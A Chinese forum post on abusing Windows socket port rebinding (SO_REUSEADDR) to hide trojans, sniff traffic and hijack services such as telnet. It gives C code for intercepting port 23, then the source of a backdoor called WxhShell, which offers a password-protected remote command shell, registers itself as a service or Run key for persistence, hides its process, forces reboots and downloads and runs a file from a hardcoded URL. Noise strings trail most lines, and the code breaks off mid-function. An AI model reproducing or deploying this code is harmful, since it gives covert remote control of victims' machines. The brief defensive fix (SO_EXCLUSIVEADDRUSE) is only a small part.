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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: z602(mxGg  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ErF;5ec  
<\x/Y$jm0n  
  saddr.sin_family = AF_INET; ^DHFP-G?e  
'#<?QE!d2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); BQf}S +  
);$Uf!v4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); pTZPOv#?Q  
%" $.2O@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tklU zv  
_,b%t1v  
  这意味着什么?意味着可以进行如下的攻击: GFvZdP`s4  
`Oys&]vb  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :c,\8n  
n6WSTh  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) pRXA!QfO  
fl~k')s  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #e&j]Q$Eh  
\~xsBPX+x  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .CI]8O"3y  
{a_= 4a  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {AIP\  
1*?IDYB  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }*$-rieg  
/{7x|ay]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8,Yc1  
VYf$0oo\4  
  #include .EH^1.|v  
  #include 8NeP7.U<w  
  #include |IH-a"  
  #include    P%pB]d.qpi  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /j -LW1:N  
  int main() $a\q<fN}  
  { e kI1j%fO  
  WORD wVersionRequested; D.qbzJz  
  DWORD ret; uVDB; 6  
  WSADATA wsaData; %S>lPt  
  BOOL val; CJjma=XH  
  SOCKADDR_IN saddr; n5S$Dl  
  SOCKADDR_IN scaddr; .IpwTke'  
  int err; - K}@Gp  
  SOCKET s; @z dmB~C  
  SOCKET sc; dSIMwu6u  
  int caddsize; XpOsnvW  
  HANDLE mt; Fxv~;o#  
  DWORD tid;   OD>-^W t;%  
  wVersionRequested = MAKEWORD( 2, 2 ); e[915Q_  
  err = WSAStartup( wVersionRequested, &wsaData ); %~Nf,  
  if ( err != 0 ) { ),bdj+wr78  
  printf("error!WSAStartup failed!\n"); }}grJh>tGg  
  return -1; "793R^Tz  
  } ?Dd2k%o  
  saddr.sin_family = AF_INET; t47 f$gq  
   FD_0FMZ9,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,dBtj8=  
!6<2JNf  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~ D3'-,n[  
  saddr.sin_port = htons(23); (jY.S|%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n{4&('NRFP  
  { Duptles  
  printf("error!socket failed!\n"); ?H*_:?=6  
  return -1; 1Lj\"+.  
  } s)/i_Oe$\  
  val = TRUE; vGm;en   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +qsdA#2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *WMcE$w/D  
  { -fUz$Df/R  
  printf("error!setsockopt failed!\n"); A.WJ#1i}E  
  return -1; %5F=!( w  
  } .V/TVz!b  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;=h^"et  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 N SHlo*)}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 zac>tXU;  
X*S|aNaLWW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p' /$)klt  
  { [FyE{NfiJ%  
  ret=GetLastError(); o6vm(I%  
  printf("error!bind failed!\n"); cE]tvL:g  
  return -1; zKiKda%)  
  } mGL%<4R,  
  listen(s,2); FpW{=4yk  
  while(1) EO'3;mo,  
  { I[[rVts  
  caddsize = sizeof(scaddr); x]a>Q),  
  //接受连接请求 hrcR"OZ~X  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d>vGx  
  if(sc!=INVALID_SOCKET) R_@yj]%H=  
  { @9vz%1B<l  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /6 P()Upe  
  if(mt==NULL) 7sLs+ |<"  
  { 7qzI]  
  printf("Thread Creat Failed!\n"); )}u.b-Nt.  
  break; '{OZ[$E  
  } FirmzB Il5  
  } 2!" N9Adt  
  CloseHandle(mt); eU{=x$o6S  
  } ]Ff&zBJ  
  closesocket(s); t~@TUTbx  
  WSACleanup(); H%])>  
  return 0; sKHUf1   
  }   IS!B$  
  DWORD WINAPI ClientThread(LPVOID lpParam) vQIoj31  
  { fMLm_5(H  
  SOCKET ss = (SOCKET)lpParam; 4H1s"mP<  
  SOCKET sc; :5"|iRP'  
  unsigned char buf[4096]; %AW  
  SOCKADDR_IN saddr; wF38c]r`\<  
  long num; AK [9fxrE  
  DWORD val; t3bDi/m  
  DWORD ret; fNB*o={r|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 eKLxNw5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   l"ih+%S  
  saddr.sin_family = AF_INET; cQ+V 4cW Z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); yil{RfBEr_  
  saddr.sin_port = htons(23); GbNVcP.ocP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eUBk^C]\  
  { IlS{>6  
  printf("error!socket failed!\n"); Lw!@[;2  
  return -1; _G'.VSGH  
  } @rVmr{UE  
  val = 100; x28Bz*O  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !^\|r<2M  
  { &|9?B!,`  
  ret = GetLastError(); %7V?7BE  
  return -1; "pHQ  
  } t$UFR7XE  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zHx?-Q&3  
  { `D GO~RMp9  
  ret = GetLastError(); S9xC> |<  
  return -1; uswz@ [pa  
  } $]%k <|X  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) B;rq{ac!P]  
  { E>7%/TIl  
  printf("error!socket connect failed!\n"); @zPWu}&m  
  closesocket(sc); B"{CWH O  
  closesocket(ss); b\;QR?16R  
  return -1; cLB"<mG  
  } 7GPBn}{W  
  while(1) tc# rL   
  { ,@>B#%Nz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +LX&1GX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .0s/O  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,',fO?Qv'  
  num = recv(ss,buf,4096,0); LWIU7dw  
  if(num>0) U8.DPRa  
  send(sc,buf,num,0); [%bshaY:  
  else if(num==0) &Cdd  
  break; BfhOe~+i  
  num = recv(sc,buf,4096,0); tp0^%!*9  
  if(num>0) KXR  
  send(ss,buf,num,0); 2M|jWy_  
  else if(num==0) 1L^\TC  
  break; VpJ2Qpd=  
  } L18Olu  
  closesocket(ss); @n})oAC,  
  closesocket(sc); AMtFOXx%I  
  return 0 ; 7(wY4T  
  } -<CBxyZa&  
#mtlgK'  
*jDzh;H!w  
========================================================== 3B;B#0g50  
S* <: He&1  
下边附上一个代码,,WXhSHELL /A{znE  
w' U;b  
========================================================== Hh;7 hY\  
u,/PJg-(!  
#include "stdafx.h" L+d_+:w  
6``!DMDt/P  
#include <stdio.h> &4p:2,|r9  
#include <string.h> BcA:M\dK%  
#include <windows.h> 5a4;d+  
#include <winsock2.h> Vx?a&{3]-  
#include <winsvc.h> -CxaOZG  
#include <urlmon.h> @YV-8;hO  
W!+5}\?  
#pragma comment (lib, "Ws2_32.lib") iv3NmkP1  
#pragma comment (lib, "urlmon.lib") C3WqUf<8`{  
'rU 5VrK  
#define MAX_USER   100 // 最大客户端连接数 Pm V:J9  
#define BUF_SOCK   200 // sock buffer rN_\tulOF  
#define KEY_BUFF   255 // 输入 buffer $40tAes9  
9<,\ +}^{  
#define REBOOT     0   // 重启  ;-U :t4  
#define SHUTDOWN   1   // 关机 m<TKy_C`  
P(qUx9  
#define DEF_PORT   5000 // 监听端口 }!5"EL(L80  
~eE2!/%9  
#define REG_LEN     16   // 注册表键长度 1 ^Ci$ra  
#define SVC_LEN     80   // NT服务名长度 0FHN  
&5c)qap;n  
// 从dll定义API dsrzXmE0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); If2f7{b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M>8#is(pV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jSpmE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !V#(g./W  
Lk=f^qJ ]  
// wxhshell配置信息 2NqlE  
struct WSCFG { S'vrO}yU  
  int ws_port;         // 监听端口 U $e-e/  
  char ws_passstr[REG_LEN]; // 口令 l>H#\MR  
  int ws_autoins;       // 安装标记, 1=yes 0=no PzNk:O  
  char ws_regname[REG_LEN]; // 注册表键名 l<! ?`V6}  
  char ws_svcname[REG_LEN]; // 服务名 dI{)^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @aWvN;v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ebp18_a|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 " :@5|4qK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $5s?m\!jZz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7S(5\9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9}:%CpD^~I  
J *5 )g  
}; S:+SZq  
Y Dq5%N`  
// default Wxhshell configuration &X }GJLC3  
struct WSCFG wscfg={DEF_PORT, O#sDZ.EL  
    "xuhuanlingzhe", d[6[3B  
    1, q`{crY30  
    "Wxhshell", Xg_M{t  
    "Wxhshell", ~K&ko8  
            "WxhShell Service", .m9s+D]fI  
    "Wrsky Windows CmdShell Service", PsjSL8]  
    "Please Input Your Password: ", T/X[q7O~~4  
  1, JS1$l+1  
  "http://www.wrsky.com/wxhshell.exe", ,73J#  
  "Wxhshell.exe" /2Y t\=S=  
    }; h;u8{t"  
-hZlFAZi  
// 消息定义模块 ?suxoP%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yM`J+tq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wrSw>sE"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u!S^lV@  
char *msg_ws_ext="\n\rExit."; 2f2Vy:&O_  
char *msg_ws_end="\n\rQuit."; {ZP0%MD  
char *msg_ws_boot="\n\rReboot..."; [K1RP.  
char *msg_ws_poff="\n\rShutdown..."; F=?0:2P0bD  
char *msg_ws_down="\n\rSave to "; >> yK_yg  
yU<T_&M  
char *msg_ws_err="\n\rErr!"; _r@ FWUZ  
char *msg_ws_ok="\n\rOK!"; Ro\ U T64  
5 Sm9m*/  
char ExeFile[MAX_PATH]; mwU|Hh)N]  
int nUser = 0; 5 Yj qN  
HANDLE handles[MAX_USER]; }#]2u| G  
int OsIsNt; lR3`4bHA  
r {R879  
SERVICE_STATUS       serviceStatus; .dM4B'OA?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; " iAwD8-  
@#m@ .   
// 函数声明 82d~>i%T  
int Install(void); 4}-{sS}MP  
int Uninstall(void); nsW #  
int DownloadFile(char *sURL, SOCKET wsh); Esx"nex  
int Boot(int flag); {HoeK>rd  
void HideProc(void); t,H=;U#  
int GetOsVer(void); &q8oalh  
int Wxhshell(SOCKET wsl); UaA1HZ1  
void TalkWithClient(void *cs); "]H_;:{f  
int CmdShell(SOCKET sock); 5A Fy6Ab  
int StartFromService(void); F%|F-6  
int StartWxhshell(LPSTR lpCmdLine); p SMF1Oy  
wN}@%D-[v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :]]#X ~J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PqUjBP\  
-]hk2Q0  
// 数据结构和表定义 SrVo0$5)  
SERVICE_TABLE_ENTRY DispatchTable[] = y@GqAN'DK[  
{ oyfY>^bs  
{wscfg.ws_svcname, NTServiceMain}, g+v.rmX  
{NULL, NULL} >`{B  
}; EjY8g@M;t  
%mF:nU4  
// 自我安装 41^=z[k  
int Install(void) 9Su4nt`i  
{ u([|^~H]  
  char svExeFile[MAX_PATH]; ]:"<if gp$  
  HKEY key; l4O&*,}l##  
  strcpy(svExeFile,ExeFile); 9I1D'7wI^^  
IJ[r!&PY  
// 如果是win9x系统,修改注册表设为自启动 cVb&Jzd  
if(!OsIsNt) { F x 4s)(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~6nY5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8GN_ 3pT  
  RegCloseKey(key); HP,sNiw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1U?,}w   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iY[+BI:  
  RegCloseKey(key); W[VbFsI&b  
  return 0; _A/q bm  
    } +`RQ ^9  
  } Q# Yba  
} tg~@(IT}j  
else { /}kG$ ~  
|d)*,O4s  
// 如果是NT以上系统,安装为系统服务 9\ulS2d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u5Tu~  
if (schSCManager!=0) (&osR|/Tq  
{ 7{ JIHY+  
  SC_HANDLE schService = CreateService 3QF/{$65!  
  ( !'qY  
  schSCManager, v? Ufx  
  wscfg.ws_svcname, E;MelK<8(  
  wscfg.ws_svcdisp, `k;MGs)&  
  SERVICE_ALL_ACCESS, b/soU2?^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QWQJSz5  
  SERVICE_AUTO_START, 1Qk]?R/DN  
  SERVICE_ERROR_NORMAL, H_n Ilku  
  svExeFile, om oD +  
  NULL, VFI\2n`  
  NULL, "tF#]iQQ u  
  NULL, MBn ZO  
  NULL, 2L(\-]%f  
  NULL @>Bgld&vl  
  ); M 8NWQ^Y  
  if (schService!=0) 2 r';)8:  
  { <L'6CBbP  
  CloseServiceHandle(schService); qokCVI-\  
  CloseServiceHandle(schSCManager); 6* 6 |R93  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aN?^vW<  
  strcat(svExeFile,wscfg.ws_svcname); csjCXT=Ve  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zL!}YR@&u"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); evvv&$&  
  RegCloseKey(key); ?#~km0~F)  
  return 0; wTe 9OFv  
    } {2.zzev'  
  } ?1.W F}X'  
  CloseServiceHandle(schSCManager); -{z<+(K!$  
} JUCp#[q  
} 1k0*WCfZ  
I~F]e|Ehqr  
return 1; M(U<H;Csk  
} ]o?r( 1  
z'01V8e  
// 自我卸载  rrP_7D  
int Uninstall(void) v\2- %  
{ A~X| vW  
  HKEY key; #h}a   
Oy_%U*  
if(!OsIsNt) { -&EU#Wqh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }2hU7YWt  
  RegDeleteValue(key,wscfg.ws_regname); f=A`{ 8^  
  RegCloseKey(key); VDFs.;:s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2. q\!V}yQ  
  RegDeleteValue(key,wscfg.ws_regname); \SN>Yy  
  RegCloseKey(key); N4l}5(e  
  return 0; ]E $bK  
  } Vg~10Q  
} H`s[=Y,m  
} .*B@1q  
else { 0Ibe~!EiQJ  
<+UJgB A-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c_T+T/O  
if (schSCManager!=0) 2f6BZ8H+Z  
{ A,EuUp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \}J"`J\Q  
  if (schService!=0) 2^%O%Pc  
  { -/:!AxIH  
  if(DeleteService(schService)!=0) { C;?<WtH  
  CloseServiceHandle(schService); D?FmlDTr[  
  CloseServiceHandle(schSCManager); 3hVuC1;"  
  return 0; {:#c1d2@8  
  } 9iV9q]($0  
  CloseServiceHandle(schService); ibn\&}1  
  } ,Jx.Kj.,  
  CloseServiceHandle(schSCManager); ZH<qidpR  
} -jzoGzC3  
} L|nFN}da  
NHcA6y$Cz  
return 1; N2 t`  
} rk47 $36X  
~iPXn1  
// 从指定url下载文件 $pIo`F _W  
int DownloadFile(char *sURL, SOCKET wsh) }~p%e2<  
{ *zMt/d*<&  
  HRESULT hr; Jl1\*1"  
char seps[]= "/"; Fkg%_v$  
char *token; c D .;  
char *file; uqD|j:~ =k  
char myURL[MAX_PATH]; `dWnu3r;  
char myFILE[MAX_PATH]; P @Fx6  
OdO n wY  
strcpy(myURL,sURL); <g&.UW4  
  token=strtok(myURL,seps); }=B~n0  
  while(token!=NULL) ac6@E4 _  
  { ("YWJJ'H  
    file=token; @NL37C  
  token=strtok(NULL,seps); 5A^8?,F@  
  } ,L MN@G  
J*_^~t  
GetCurrentDirectory(MAX_PATH,myFILE); 0+[3>Ny 0  
strcat(myFILE, "\\"); JDW/Mc1bh  
strcat(myFILE, file); Q`{Vs:8X  
  send(wsh,myFILE,strlen(myFILE),0); s8 u`v1  
send(wsh,"...",3,0); =$%-RX7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;$8ptB.  
  if(hr==S_OK) h6bvUI+|h  
return 0; (N/-blto  
else BS?i!Bm7  
return 1; 7IQa Xcl  
vE1:;%Q  
} LK!sk5/  
TU;AO%5  
// 系统电源模块 9I`0`o"A  
int Boot(int flag) <f=<r*6  
{ %_!0V*X*  
  HANDLE hToken; yMzy!b Ky  
  TOKEN_PRIVILEGES tkp; epG]$T![  
s];0-65)  
  if(OsIsNt) { 6)W8HX~+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0LYf0^P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2Dt^W.!  
    tkp.PrivilegeCount = 1; ,9"du  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X$G:3uoN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \){_\{&  
if(flag==REBOOT) { tOte[~,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _/"e'@z  
  return 0; _|4QrZ$n(  
} 1f 1D^|  
else { Bn%?{z)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /;:4$2R(;  
  return 0; YMy**  
} `c|H^*RC  
  } O/$41mK+!  
  else { O2yD{i#l*#  
if(flag==REBOOT) { NPFI^Uj#A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t;0]d7ey'  
  return 0; 0v6Z 4Ahpo  
} ;CoD5F!  
else { XMykUr e|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6i~<,;Cn  
  return 0; "pcr-?L  
} \VI0/G)L  
} !6sR|c"~j  
bD3d T>(+  
return 1; %KN2iNq  
} ( Rp5g}b  
R#?atL$(  
// win9x进程隐藏模块 53.jx38xS  
void HideProc(void) Uq x@9z(  
{ jq_4x[  
()$m9%x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SOMAs'=  
  if ( hKernel != NULL ) Fo5UG2E&  
  { YACx9K H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NXz/1ut%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0R0_UvsXU  
    FreeLibrary(hKernel); \ f VX<L  
  } /xr75|-8  
KV'3\`v@LY  
return; ZEpu5`  
} HCYy9  
%m/5! "  
// 获取操作系统版本 gdh|X[d  
int GetOsVer(void) 9KT85t1#  
{ U+(qfa5(  
  OSVERSIONINFO winfo; 7s{['t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _W,?_"[R=  
  GetVersionEx(&winfo); nJ1<8 p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !:uh? RW  
  return 1; 31%3&B:Ts  
  else !wKNYe  
  return 0; >>;He7  
} JuRWR0@`  
 j~cG#t]  
// 客户端句柄模块 8Bxb~*  
int Wxhshell(SOCKET wsl) Y9%zo~]-W'  
{ (9] =;)  
  SOCKET wsh; B < HD  
  struct sockaddr_in client; dWo$5Bls<A  
  DWORD myID; U9%^gC  
EU Oa8Z  
  while(nUser<MAX_USER) D6\k}4n-  
{ o_ixdnc  
  int nSize=sizeof(client); u=#_8e(9Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  z}*L*Sk  
  if(wsh==INVALID_SOCKET) return 1; >{0,dGm  
S6_dmTV*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w'mn O'%  
if(handles[nUser]==0) wqX!7rD/g)  
  closesocket(wsh); =trLL+vGw'  
else FuFICF7+C  
  nUser++; F)S?>P&  
  } K2tOt7M!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %kQ[z d^  
Z[\nyj  
  return 0; C3K")BO!  
} WOYN% 0#  
quq!Jswn  
// 关闭 socket C33RXt$X  
void CloseIt(SOCKET wsh) sHSg _/|  
{ CraD  
closesocket(wsh); &>}f\ch/  
nUser--; 9 tCF m.m  
ExitThread(0); njb{   
} O[9A}g2~  
KFM)*Icg\8  
// 客户端请求句柄 3rx 8"  
void TalkWithClient(void *cs) g'.(te |  
{ (.g?|c  
zf[KZ\6H   
  SOCKET wsh=(SOCKET)cs; q]P$NeEiZ"  
  char pwd[SVC_LEN]; E*}1_,q)  
  char cmd[KEY_BUFF]; G"*ch$:  
char chr[1]; l-6W]\v Z  
int i,j; XILreATK@  
p8E6_%Rw  
  while (nUser < MAX_USER) { \U HI%1^  
bN>|4hS  
if(wscfg.ws_passstr) { l}9E0^AS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ()(/9t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #]s&[O43  
  //ZeroMemory(pwd,KEY_BUFF); XchVsA  
      i=0; cdD?QnZ  
  while(i<SVC_LEN) { 2U'Vq  
.J2tm2]"EZ  
  // 设置超时 5_Oxl6#  
  fd_set FdRead; w(!COu  
  struct timeval TimeOut; - D^v:aC  
  FD_ZERO(&FdRead); !<4=@  
  FD_SET(wsh,&FdRead); rSNaflYAr  
  TimeOut.tv_sec=8; s.>;(RiJd  
  TimeOut.tv_usec=0; |j!U/n.%w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Kq zQLu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~x g#6%<=  
ifcC [.im  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #CNK [y  
  pwd=chr[0]; $/$ 5{<  
  if(chr[0]==0xd || chr[0]==0xa) { hta y-  
  pwd=0; Ydh+iLjhx  
  break; YC =:W  
  } _"S1>s)X?j  
  i++; \@GKVssw  
    } FYX" q-Z  
!)LVZfQ0  
  // 如果是非法用户,关闭 socket e c4vX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5HW'nhE  
} ;hJz'&UWQ  
,2`FSL%J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y]: Ch (Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tu_4kUCR!f  
jLF,R7t  
while(1) { gEkH5|*Y  
,*d<hBGbh  
  ZeroMemory(cmd,KEY_BUFF); j5bp)U  
G"nGaFT~  
      // 自动支持客户端 telnet标准   +VRM:&  
  j=0; 2HF_kYZ  
  while(j<KEY_BUFF) { y}GFtRNG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )^LiAL h  
  cmd[j]=chr[0]; KU*XRZu)  
  if(chr[0]==0xa || chr[0]==0xd) { (Kb_/  
  cmd[j]=0; -^&NwLEv=  
  break; W?R@ eq.9  
  } v)%0`%nSR  
  j++; ) S,f I  
    } =RjseTS  
_tR?WmNH=  
  // 下载文件 9 y{R_  
  if(strstr(cmd,"http://")) { tM3Q;8gB!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2OsS+6,[x  
  if(DownloadFile(cmd,wsh)) /SD(g@G,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u{%dm5  
  else *dPG[ }  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hK 1 H'~c  
  } 84A:Rd'k3)  
  else { Y>SpV_H%  
xt1Ug~5  
    switch(cmd[0]) { ~UQX t r  
  6 }>CPi#  
  // 帮助 \"1%>O*  
  case '?': { XS=f>e1<W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W}'l8z]   
    break; U%rq(`;  
  } (Q}ByX  
  // 安装 aI_[h v  
  case 'i': {  EHk$,bM  
    if(Install()) vq:?a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -1}&\=8M  
    else \HQw$E/p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l- $5CO  
    break; PC3?eS}  
    } /z`.-D(  
  // 卸载 REWW(.3o  
  case 'r': { [,sm]/Xlc  
    if(Uninstall()) ag6[Nk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W5Vh+'3  
    else $;Z0CG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $g_|U:,  
    break; 5QP`2I_n  
    } jwmPy)X|s\  
  // 显示 wxhshell 所在路径 {Kz!)uaC  
  case 'p': { DO6 pv  
    char svExeFile[MAX_PATH]; Jk;dtLL}4  
    strcpy(svExeFile,"\n\r"); $},_O8R  
      strcat(svExeFile,ExeFile); mC} b>\  
        send(wsh,svExeFile,strlen(svExeFile),0); r6vI6|1  
    break; p %hvDC  
    } Q7-'5s   
  // 重启 v^aI+p6  
  case 'b': { Rk#p zD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sKC(xO@L;`  
    if(Boot(REBOOT)) )M* Sg?L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (dwb{+HW  
    else { S 9|^VU  
    closesocket(wsh); M[P1hFuna  
    ExitThread(0); mFt\xGa  
    } N ;Cs? C  
    break; ^O<@I  
    } w|f@sB>j  
  // 关机 IZuP{7p$  
  case 'd': { p-*{x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A<IV"bo  
